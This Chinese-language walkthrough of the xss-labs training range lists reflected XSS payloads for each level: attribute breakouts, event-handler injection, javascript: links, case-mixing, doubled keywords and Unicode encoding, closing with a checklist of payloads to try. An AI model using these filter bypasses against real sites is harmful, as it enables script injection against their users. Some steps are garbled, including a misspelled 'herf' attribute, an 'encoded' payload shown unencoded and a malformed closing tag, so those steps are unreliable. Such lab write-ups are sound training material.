xss攻击思路(xsslabs靶场举例)
靶场思路
1、第一关:
<script>alert(1)</script>
2、第二关:
<script>alert(1)</script>
发现没有成功弹出提示框,于是就右键检查源代码观察
尝试闭合标签
通过上面源代码发现输入的值都在value中,只是没有被执行,所以尝试闭合value
value="">(前面闭合了)这里填上我们要执行的代码即可 "
"><script>alert(1)</script>
3、第三关:
<script>alert(1)</script> //失败
发现标签被实体化
<script>alert(1)</script>
**
尝试事件,
不知道怎么闭合的可以先用试试,看看上传后源码是什么样子
'1'
可以用 onmouseover 和 onmouseout 两个属性来设置鼠标移入和移出的事件。
' onmouseover='alert(1)
4、第四关:
<script>alert(1)</script>
还是过滤尖括号
尝试事件绕过,发现是双引号
" onfocus="alert(1)
5、第五关:
<script>alert(1)</script>
尝试大小写绕过,发现还是不行
<ScRIpt>alert(1)</ScRIpt>
事件,发现也存在过滤
尝试伪协议
"><a href="javascript:alert(1)">点我</a>
6、第六关
<script>alert(1)</script>
还是被过滤
script => scr_ipt
尝试大小写绕过
"><SCrIpt>alert(1)</SCrIpt>
7、第七关:
<script>alert(1)</script>
还是被过滤script
尝试双写绕过
"><scrscriptipt>alert(1)</scriscriptpt>
8、第八关:
<script>alert(1)</script>
过滤了script=> scr_ipt
查看源码发现传入的内容在href里面
<a href="javascr_ipt:alert(1)">
所以,尝试了为协议,也被过滤
javascript:alert(1) ==> javascr_ipt:alert(1)
判断过滤了哪些字符,发现全部被过滤
src onfocus script onerror javascript
考虑编码绕过,unicode
在线网站:https://www.sojson.com/unicode.html
<a herf="javascript:alert(1)"></a>
编码
<a herf="javascript:alert(1)">点击</a>
9、总结
尝试顺序
1、经典公式
<script>alert(1)</script>
2、经典公式大小写
<scRIpt>alert(1)</scRIpt>
3、经典公式双写
<scRscRIptIpt>alert(1)</scRscRIptIpt>
4、事件单引号
' onmouseover='alert(1)
5、事件双引号
" onmouseover='alert(1)
6、a标签
"><a href="javascript:alert(1)">点我</a>
7、万般无奈才尝试编码
反射型注入就是在不断尝试中成功的